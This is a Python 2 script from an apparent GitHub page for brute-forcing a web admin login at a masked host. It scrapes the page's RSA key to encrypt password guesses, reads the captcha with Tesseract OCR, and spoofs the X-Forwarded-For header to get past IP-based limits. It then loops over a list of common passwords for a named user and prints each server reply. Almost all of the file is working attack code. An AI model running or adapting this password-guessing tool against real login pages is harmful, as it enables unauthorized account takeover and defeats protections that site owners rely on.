-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathRSADemo.py
121 lines (106 loc) · 4.21 KB
/
RSADemo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#! -*- coding:utf-8 -*-
__author__="浮萍"
__Date__="20170622"
import rsa
import requests
import binascii
import base64
import json
import time
from urllib import urlencode
import re
import pytesseract
from PIL import Image
class AdminLogin:
def __init__(self,username,pwd):
self.modulus = None
self.exponent = 'AQAB'
self.mssc_sid = None
self.token = None
self.JSESSIONID = None
self.username = username
self.pwd = pwd
self.captchaId = None
self.captcha = None
def getData(self):
headers = {
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Referer':'http://******/login.jsp',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'X-Forwarded-For':str(int(time.time()))
}
url = 'http://******/login.jsp'
res = requests.get(url,headers=headers)
captchaId = re.findall('captchaId=(.*?)×tamp=',res.text)
modulus = re.findall('b64tohex\(\"(.*?)\"\), b64tohex',res.text)
self.JSESSIONID = res.cookies['JSESSIONID']
self.modulus = modulus[0]
self.captchaId = captchaId[0]
def readCaptcha(self):#验证码识别
headers = {
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Referer':'http://******/login.jsp',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'X-Forwarded-For':self.captchaId
}
url = 'http://******/common/captcha.jhtml?captchaId='+self.captchaId
try:
res = requests.get(url,headers=headers)
except requests.exceptions.ConnectionError:
print '图片下载失败'
path = "i:/img/"+self.captchaId+".png"
fp = open(path,'wb')
fp.write(res.content)
fp.close()
image = Image.open(path)
code = pytesseract.image_to_string(image)
self.captcha = code
#print code
def login(self):#登录
cookie = {
'JSESSIONID':self.JSESSIONID,
}
headers = {
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Referer':'http://******/login.jsp',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'X-Forwarded-For':self.username+self.pwd
}
url = 'http://******/login.jsp'
enPass = self.enPass()
data = {
'enPassword':enPass,
'username':self.username,
'captchaId':self.captchaId,
'captcha': self.captcha
}
res = requests.post(url,cookies=cookie,data=data,headers=headers)
#result = json.loads(res.text)
result = re.findall('message\(\"error\"\, \"(.*?)\"\);',res.text)
#print res.text
print '['+self.username+','+self.pwd+']'+result[0]
def b64tohex(self,param):
return binascii.b2a_hex(base64.b64decode(param))
def hex2b64(self,param):
return base64.b64encode(bytes(bytearray.fromhex(param)))
def enPass(self):
exponent = self.b64tohex(self.exponent)
modulus = self.b64tohex(self.modulus)
rsaKey = rsa.PublicKey(int(modulus, 16), int(exponent,16))
enPwd = binascii.b2a_hex(rsa.encrypt(self.pwd, rsaKey))
return self.hex2b64(enPwd)
if __name__ == '__main__':
username = 'liuqin'
pwds=['123456','123456aa','liuqin123','123456789']
for pwd in pwds:
print pwd
adminLogin = AdminLogin(username, pwd.strip('\n'))
adminLogin.getData()
adminLogin.readCaptcha()
adminLogin.login()